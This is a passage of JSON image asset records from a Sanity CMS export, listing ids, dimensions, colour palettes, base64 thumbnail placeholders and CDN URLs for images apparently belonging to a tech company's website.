8c95d653a0a83b9","size":33893,"uploadId":"hHrWw19VUbYFr0gHSJNzpQYbfOorrZQm","url":"https://cdn.sanity.io/images/sczeoy4w/production/7801503e370fe8a21d719ba8e8c95d653a0a83b9-1200x630.jpg"} {"_createdAt":"2022-09-02T16:56:16Z","_id":"image-781772504113fc674d358b2d1eb2d50073ee1017-800x800-webp","_rev":"0gThdvMbf71ZLkDCR56P5W","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:56:16Z","assetId":"781772504113fc674d358b2d1eb2d50073ee1017","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"eXFr-xt-Ma%2xm.T?HRPXSxZ=l%LOb$iN#?GkWr[I;s;IsaeIURjs7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAPoAAAD6AG1e1JrAAAFT0lEQVQ4jYWUC0yTVxiGD86ByLiXURXnQBDrhZa/LQUBa2FiLdXJQCjTcRPl0gu05X6VgjoUKBUVmIJ26BIuEw2BZRpjljDNsmVuSxYdjrZAD6XYcmkLzkT+s7Q02eIS9yVPzpf3O+fNm3OSAyCEPnYIEEIvCKE3hNATQugBIXSHELrZcbGzHkLopNVqHSCEYGpqCshkMkCj0YBSqQQAQkjWarXkycmp3WqNhqRWa3aq1OpglUodNK5SBYyPqz60s0mlUm9UqVTEsed/ejz8bnQtAACkZfEdYvZzQXR0NKBju22GdCt6vZ46Pz+/a2FhIcRkWiSZTKZgs9kcaLFYAiwWi//S0pKf2WzeZDGbia9fv3ZHCDmcyskHVFoYYMXEAiaTCfYwImyGNI1GQx8dHY3o6bkZde1a17729s7IS5evRCgUbYzmFjm9paWV1tqqIHd1dZO7uq/vbmlpDczIPEGM/SiOEHeA7clixTpZEzLCwgDQ6XT0x48fR+aIqjKjuPwmBreok84pvkw9WHQJY0vbKHGSixi76CIzqUaeym+VZxdfac4QtzXy+PK6xJONtYeOlwn3H06nRkVFOoaSNgOg189S+/r69+7h5J/dxj7/nJTUu7gj5Y6RlHx77h8G56jpw0au9KExvW7UeKJh1JBV//1sWs2DF0nC6z8dSJZmR0REuO7c4gKA0WgMkMtbQ3fEiD4PTux9Qc59iigCNaLwxxGFr0JUoQpFSNQoukiD4ion0fHzEOW26VBe2wzKalKho8XfTMbxqsV0Gs0j8H0AAELIcS+TtcEvLLc6OPmOLlSgRljhzApWMI2HF+nww/WzeM5lo42kc7P4J2dn8cxWw0rOpbmV9AtalCD9VsNKqiokk0M8PvAAAPBzM6yv7+WLZVdsO3pbZ02GFUyvYCItHletQ2U3DKj7/qKNcqURJTTMWMHTml/gn56bQNyCEU3UkTLxrh0kq91qrX/PzZuInawI/pchtVCLH2mYQU2359Hwj0s2mgYXUOJZPWKVT+NHGmbxpPoJxBYMTzC4xeKtgUHu3AC7oZOzixfxjYTUAi3OrtHh5TcMuPLBoo1ypQE/WKvDGRItzirX4fFVahSbO6ShscVixs4tXugZ0wFs8FkH1jo6e60mHNRR3rjDhDOzuLDTaMPaWzXrjFGkX9lXrEHR2UMTkez80guHfPyRjOBpS+ji6u7tS8moDEq4NRNy6jdEyR/DyXnPkBWa4A+0Rzxmw9pT7DolfwzR8n5F4cduTn/M4TUOZRDCXtX5+oEnT35xzs3NC8RYnzWEcOqmsOSuV9TUnmVqqvIllad8ib2BVbPNUr9cDud98YqdWKYXJnOvDZcyYyY7UnzByMgIQaG4SM84KRRzk/OUnJTCgXietD+eJ+nnpIj7DyYXWteBeJ54wLpatXieZCAhVXQ349iJ+9K0pKEm4dG6Pnnp3nt3e71BX1+fc0dHB1Emk5EkEnGoSCjECkSriIQCTCjgYyKBwN4LsAIhH6spyAy/KjnE+VrKTBksieHcqsuk3GiXE3v7B9bZvp3a2lrwVGV0QAiB/6U7yhGv30D867QvaVnmt3W5cbvb+BXeOyWVMnAuwR8AAoEAKiurgGneYDvwtoL54F1TibPvYqkraa7MY+t0qbfboyynNVO/PwLskpurmzo7O4FCoQAtLXLQ3PxfehqlQH6hGfxcHwbMFW7O5gr3zQsV3v6GKqK7qnb7Gmn7V+DemRSgbK4Ciqt207eVqdINzJRvAj+kSYClwnXtYoWnm6HK1wXWBKxZLnMEpkpvMHk6CMxX+wBD9UbwN8h3BcJIvGkUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#513935","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c1504","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9dacc6","foreground":"#000","population":0.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9dacc6","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cb4f4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6775b0","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c69df","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"devops-kubernetes.webp","path":"images/sczeoy4w/production/781772504113fc674d358b2d1eb2d50073ee1017-800x800.webp","sha1hash":"781772504113fc674d358b2d1eb2d50073ee1017","size":16346,"uploadId":"5mI0dZI0OhtuexX5oF7fbu6L4Xjr1nXc","url":"https://cdn.sanity.io/images/sczeoy4w/production/781772504113fc674d358b2d1eb2d50073ee1017-800x800.webp"} {"_createdAt":"2023-03-24T13:29:23Z","_id":"image-782a4e7bb09aa6b90aff7f877ec531700e1583d8-3840x918-png","_rev":"1oHBwgBQDb4TFd5EYPtWGv","_type":"sanity.imageAsset","_updatedAt":"2023-03-24T13:29:23Z","assetId":"782a4e7bb09aa6b90aff7f877ec531700e1583d8","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.183006535947713,"height":918,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAABBUlEQVQYlU3NwVKCQACAYd7/IWpKx8rqUqeuYJILLmATabIRCAK7K7uwbAQmNB5qmvlu/+FXCtkXsufVgYkDr7q83DPRUl5HKQ+3eUplXjb/0WMqgpjhXa0UsmPim/IWszalXyu0M+1IN3xNX6vTtfaEHoE/mb2rU0/TkaajyQwBGKwQobxRCGsyWsfZpx/VS0+o+ub27vnixhpdw+EYDq7m55fzs5F5MgCnw6PhGN4/uIvXLC9bxQuYv+HhtkKhdN+E/bIzrARYielg0yGGQwybGBYGEAOYAQsbdjZfpGs/P54Xbrr08CYp40x+RDKIqygRWywp3zPR/+r+ENYGMfNDmpLqB9SLBi2ZLuZwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343969","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c104f","foreground":"#fff","population":3.98,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c104f","foreground":"#fff","population":3.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cacd4","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3a8f5","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646cac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4784","foreground":"#fff","population":0.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Image1_optimized.png","path":"images/sczeoy4w/production/782a4e7bb09aa6b90aff7f877ec531700e1583d8-3840x918.png","sha1hash":"782a4e7bb09aa6b90aff7f877ec531700e1583d8","size":35784,"uploadId":"cGmrfxcr98AwALtnX8HKtC6N8cwS8H7c","url":"https://cdn.sanity.io/images/sczeoy4w/production/782a4e7bb09aa6b90aff7f877ec531700e1583d8-3840x918.png"} {"_createdAt":"2022-09-13T09:27:05Z","_id":"image-7851379d4b87020041396cc302f086d580a70d61-800x800-jpg","_rev":"cEPH2uRN58AU2lp9QS0fpx","_type":"sanity.imageAsset","_updatedAt":"2022-09-13T09:30:36Z","altText":"Oskari Saarenmaa","assetId":"7851379d4b87020041396cc302f086d580a70d61","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"exif":{"ColorSpace":1,"PixelXDimension":800,"PixelYDimension":800,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYHBQj/xAAkEAABAwQBBAMBAAAAAAAAAAACAQMEAAUGERIHIjFBEyFRYf/EABYBAQEBAAAAAAAAAAAAAAAAAAMCAf/EABkRAAMBAQEAAAAAAAAAAAAAAAABAhMxEf/aAAwDAQACEQMRAD8A33JZb8KzvuxCAH9aEjTaIv7UJ0+y27TMrkWS6PNzG0aV0JABx4qnpaoeod2tsa0uRZMwW5J6UGxLuWswwTKrNj97ekXVwlccH4xNO7gm/dTTvRecElRm2+m+0rmW6/2q4xAkw58dxkvC80SlMCeZ8rMrhml3WWZGoyVBNr4T8qayZkIjSKztN/2lK1hSTLU2SIJwfcBF+9CSolKUqGUf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#473528","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#743421","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cfb09f","foreground":"#000","population":3.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb09f","foreground":"#000","population":3.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8ebfc","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7e67","foreground":"#fff","population":2.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b46c5c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"oskari-saarenmaa.jpg","path":"images/sczeoy4w/production/7851379d4b87020041396cc302f086d580a70d61-800x800.jpg","sha1hash":"7851379d4b87020041396cc302f086d580a70d61","size":106805,"title":null,"uploadId":"8CkEPwgvahFMYfZCg1GSVsGLUjcCaRcF","url":"https://cdn.sanity.io/images/sczeoy4w/production/7851379d4b87020041396cc302f086d580a70d61-800x800.jpg"} {"_createdAt":"2024-07-04T07:24:12Z","_id":"image-787a5c1fe90857b0a521f338602841908181e927-1200x628-png","_rev":"GIOwkysrijyYbzGkS2W3mx","_type":"sanity.imageAsset","_updatedAt":"2024-07-04T07:24:12Z","assetId":"787a5c1fe90857b0a521f338602841908181e927","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdM711%MT0%hx]?wtRxDt8kD%MM{RjR+Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACyElEQVQokR3Q8VNSBwDA8feP7a7d7na7Vbc7b+dlddvS4uJONCVQQYZoCQ/1KT4BDRG9BEGBZooFiOlZwip4gUT0zM20cSnbtVa3dfvlu7t9/oSP8OnTv3z4629qb054kc+jJDwUY1eprLTyKhvil2qVSlmlmH/GXlWlfvI7J2/rvFZVVOUxT7dSKFsp1HyW/d0CwscP//D+z4+8rdXZU55QWBlnZ6GN3FInpUyA6m6RF89VykqRl88rvDk84ujgELVUIpdOEPOPE51ycnfOy3JoDuGP+nvqx++oHR6zv7tLIRkhPT/M2pzI/YiPTDLBw81NspkMyqOHlPNPUHI5tlP3WJqWGTZqEHWNiPoW7CY9wm+Hxxwd1Ph17zVqqYLyIMP92WkCjhuMWc3ccoks+D0EJz2shufZ+GmRBZ8Hp7UXg/YymsaztJ0/S3frJcw9OoQj9RUHlSrVfIH8gw22FoNEJRGpTUv/5SamrdeYcVi4aTIy7RoiGZ7hlthHZ8sFrjSeoenMlzQ3NWK1GJDkfoRa+SkvH22wcydM3CsxZdXjNmqR2y8S0H/LuqRlzWXAbzewHBgjtxoh7nPhtrYjGX+gW3OOrrar+GQniXgAYX8nycqMG7lXj13XjE1zDk9XC7GBS6QGviE30sDPE83kAiae3Z2imIyRCfmIyzaCzi5c1k7GblqJ+CdIx2cRUvNeBg0ddHx3kb4rF5D1GmL2a6QHz5Pu/Zx182ekLV+R9bRTXvZSWguyHXKz6raxOGphdqiPwJjIwuQI4UkHwmh3Kz/qtDj0HfgtBqJ2M8nhTtZtDaRMp0h0n2LJcJp113WUJZlCdILtOQf33L3cGe0hIlkISjbmpT5uD5kQjN83YNNpmB0cYE2WSLoGSYvtbN5oYtP2NdHrX/x/mfT28zgyTva2yJbfRsprZsXVRXTESMjZQ3DIRHjYxH9RzUDFX/WsTwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362721","foreground":"#fff","population":7.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b472a","foreground":"#fff","population":3.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a98974","foreground":"#fff","population":7.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2bbac","foreground":"#000","population":5.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9de8f","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a98974","foreground":"#fff","population":7.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b77b3a","foreground":"#fff","population":5.92,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Backmarketb4.png","path":"images/sczeoy4w/production/787a5c1fe90857b0a521f338602841908181e927-1200x628.png","sha1hash":"787a5c1fe90857b0a521f338602841908181e927","size":1156289,"uploadId":"5iOAK952uWGORDXVOW5OOEdr8uVIi2aM","url":"https://cdn.sanity.io/images/sczeoy4w/production/787a5c1fe90857b0a521f338602841908181e927-1200x628.png"} {"_createdAt":"2023-06-09T09:46:15Z","_id":"image-78889a417971b3ac4c253960b655195767b02766-2000x2000-jpg","_rev":"dsxJlHxlnt5nZt5n21HHgy","_type":"sanity.imageAsset","_updatedAt":"2023-06-09T09:46:15Z","assetId":"78889a417971b3ac4c253960b655195767b02766","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2000,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQFBwMG/8QAIxAAAQQCAQQDAQAAAAAAAAAAAgABAwUEERITITFRFEFhof/EABcBAQEBAQAAAAAAAAAAAAAAAAMEAQL/xAAeEQACAgEFAQAAAAAAAAAAAAABAgADIRESMUFxMv/aAAwDAQACEQMRAD8A3SyglHJmYrQotvz478Mo9RkxySvPFcNkxR75CxK1u60bAX0XTlHfE2b+P+LwWWWTTZYR2tXAME5dEcrHPW9+2XL2YO3nqLXUWYDQnyalX5IZOM0sR8gd+zootHjjiVkUIPyYW8+0R1WMUBs+u/ZtlYDELxO3xhacy5m+/p37KNaUmDaBEObG8jRmxj38OiISJTU7I4KnQyzghAI+I70yIiRRiTscz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30251b","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#271a11","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f89c16","foreground":"#000","population":3.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccb4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4d75b","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c9c9c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89c16","foreground":"#000","population":3.66,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven_cluster_helping_hand.jpg","path":"images/sczeoy4w/production/78889a417971b3ac4c253960b655195767b02766-2000x2000.jpg","sha1hash":"78889a417971b3ac4c253960b655195767b02766","size":136463,"uploadId":"OV8h8DkRrXPHc4yo9TOsrBt1GOJnFmtC","url":"https://cdn.sanity.io/images/sczeoy4w/production/78889a417971b3ac4c253960b655195767b02766-2000x2000.jpg"} {"_createdAt":"2022-06-30T20:00:09Z","_id":"image-78ca221848d6254f3cf65576719f33cb45a7938d-1567x844-jpg","_rev":"cEPH2uRN58AU2lp9QO82zR","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:36Z","assetId":"78ca221848d6254f3cf65576719f33cb45a7938d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSSro;i_qFpJq]k?Rjn3ofb^l9R*VErqbu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAQj/xAAiEAACAgEEAQUAAAAAAAAAAAABAgMEAAUREiETBiIxUcH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABwRAAICAgMAAAAAAAAAAAAAAAABAgMREiEiMf/aAAwDAQACEQMRAD8A6N1nx0admwfMxjQvsD0cQ9K67LeililiRJljEisjcgQf3L8AFiOdJhzQkgg/WJaJpVGkLAqVki5n3bb94b22TXhXB1KiUZLtnhleIlo1LfJHeGagCqABsBhiEh//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#515051","foreground":"#fff","population":1.96,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2269b","foreground":"#fff","population":0.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa4f4c","foreground":"#fff","population":3.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1ac9e","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa4f4c","foreground":"#fff","population":3.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b46e54","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f58910","foreground":"#000","population":0.84,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"78ca221848d6254f3cf65576719f33cb45a7938d-1567x844.jpg","path":"images/sczeoy4w/production/78ca221848d6254f3cf65576719f33cb45a7938d-1567x844.jpg","sha1hash":"78ca221848d6254f3cf65576719f33cb45a7938d","size":224945,"uploadId":"B2p3vysEyBzudlGCiGTGaP4nE4SZBbu3","url":"https://cdn.sanity.io/images/sczeoy4w/production/78ca221848d6254f3cf65576719f33cb45a7938d-1567x844.jpg"} {"_createdAt":"2023-09-15T11:53:42Z","_id":"image-792c01fb581c8a5f24c9f7363a6a74783a769d94-2250x210-png","_rev":"kCpVRB4k8RYeMqmK07ETQU","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:42Z","assetId":"792c01fb581c8a5f24c9f7363a6a74783a769d94","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":10.714285714285714,"height":210,"width":2250},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAQUlEQVQImYXCgQ2AIAwEQJbAYDTtfzVCCxj3n84RuFya79fH9BjNo7Wo1a/7EeVxynIiDaBCAZBGMxEpZc95W/4Bo4ANsX1PRNoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#898a8b","foreground":"#fff","population":0.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b0b0","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#898a8b","foreground":"#fff","population":0.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"api-call-empty.png","path":"images/sczeoy4w/production/792c01fb581c8a5f24c9f7363a6a74783a769d94-2250x210.png","sha1hash":"792c01fb581c8a5f24c9f7363a6a74783a769d94","size":9367,"uploadId":"B98o56eEH5nSu9aN9fgfCDqiK4vLHMjZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/792c01fb581c8a5f24c9f7363a6a74783a769d94-2250x210.png"} {"_createdAt":"2022-06-17T08:37:47Z","_id":"image-7960ba9c363493c5753f414aadf4299d72e969f6-2500x2500-png","_rev":"oamrAPLmQLQjd9jh7ZwD6M","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:47Z","assetId":"7960ba9c363493c5753f414aadf4299d72e969f6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQGj?K}%4n5Z1v^FtlNeVsRr4;eTx^T1wG9[aPI[J6-AK4WYRinlw}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAFUElEQVQ4jW3UeUwUVxgA8G8WObXCLrvsPMDlXFwsdT12FBRsEQWVSJVZEE3xoIjgDbEpVau2oREVSbVKXQ2iWAqIyD2zIMjiranaNI2h1tZ41ItGKyBR2X1fM+t6JO0kX977Z3557zseoEiAiixQkYC0R5EFNLPSyjxvJLLar0MZRAApLuzTA7axgJcU8KxRY//nP58dcEBUIAwV2GEokjAqkClUYBPQzE7GEz6B2ObtPiMm1A7bRA30ng2H61EpQDkj4DvhwOzBUIGwKBKeCmQPiuQEFciZ501+LU/rNNv6GwLi8aRGjnf8YfaMaLCV6AENPFCOBzT8D0gF4o0iSacCK0GPqECe/H2UPD1V7DdQtSnofvPW0JpLJWGJ3Yd1Q69VauCPQwGAI1Pt4CuUd4CCdFXWiQpkMhXIMSqwj1Ek3Y+qfRvL8/0uLprl35/4YQguNUb0bFrG7V+fNXnc2EkznZCfC30TkmWUM8rsmCPsIIrse1QgS6lAfkORvfuiybe47MvxqxbOS2idkzRrICkpiX6yIMWWuXhed1pKUt702FgWJ6a5WjleRTleQTmji3Q6+hYkSiqQDVQgD1Bkr96rDs7cvH7N2m3bi66ZTCYsLS2l0lpQ8M2zTzMyqjOmzYyyGng/5IwRlOMD0cC723NoB+1VZhVUIJ9TgfyFIvvrrWr9hkOmHXvr6ut7LJZOtFgsNlEUJdi6MT//3M7UhYt7o1LGIWd838oZVZQzDnlbFOmEAnGnAplPRXIFBbbnUSN3sr226FxLS3Nfe3s7dnR00MbGRjxcXk6/21l8o2LdxoI7SUsn4Dhe2Rcz33lw0jx458pEQqWWiaAi2UMFcvcfIbLvsrmwr83cYjW3tqJZFGldXR2trKzE8oNl94/tLtl+dd3XWoRRsm+7WuHPJeuASq3zOodUCtHXg4pkKgrs/n4z13395Jan50+3WTstFtpqNtPm5mba0NAwWHP06OWaIz8s6TAd9Cw73wVlZzqhN27hm150gAReilppAoah4DN+wDxm+c2uTUd+Otd2s6vrlFUCm5qasL6+/klNTc33VVVVo1oaBWZl2lrYt6cZYCNCacwaSE674MhhMwG8zALeBbA1+zlhe7jXja69MRc728osHR2PBUGgVVVVUlEemkymgl27dvl9VXIcUJrDTARYheCR3ApMjjT0h0KAloyEns16oLvHQmrGE9gJU2UnluVrTpgO5rfWN/xed7zOtv/AASwsLOzLzc1tik9IWBAYHBagi0p29chFcJ13CXynbQHIlsChWYDRc+wPxcigaGiPneW8djQXkv6BIf2L9IzyQ/tMtysqKmxFRUU0KyvLGhMT8zgoONjiGxi+Qj1pZSCsQTfZontOnh/XOkBH/6yImCAl1ukBN0f5mc6QODlY++OUiZF3szIzX+Tl5dHU1FSq1+tRrVajQulzW6kZXTA8dkcErEa5bMkjF9f5PwNjBw2v+mfAkCyzGni5jTOGHxkVHR/pH7g1MCDgF124bkCn01E/P39UKBSDXnLFQ7mPptZTGz/X2XhWAytQwWT2usiW9jtAe0Pa0SE2A69Gzqi7NSYxOM43aIxapVrtrVDUenp5XRkuV3XLVf4XvX21Jrk2LsUtviwEctCHybYpmGyrC+SgoyiOK1POyFAD72Ez8F44IdUtOXDkEJVarVZ6K6LkSpImH6HPlofFLfAalxHpNrt+BLPspZLJQRWTTb0gB52ZbAoS+mZkrI73zGbgoW7UFHipnQ6hAODtCoynNt7F46PiYS786WFM1gt3WI5uzLJBdybb5g456MpkU9lr8F8dG8wqLXLDvAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c382f","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#062498","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b9b8b8","foreground":"#000","population":7.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9b8b8","foreground":"#000","population":7.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45484","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#768084","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b604","foreground":"#000","population":0.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Swift-Alfi-composition.png","path":"images/sczeoy4w/production/7960ba9c363493c5753f414aadf4299d72e969f6-2500x2500.png","sha1hash":"7960ba9c363493c5753f414aadf4299d72e969f6","size":1128380,"uploadId":"waMd911APpcjTMwvO1hBQVwKuuZy1fn2","url":"https://cdn.sanity.io/images/sczeoy4w/production/7960ba9c363493c5753f414aadf4299d72e969f6-2500x2500.png"} 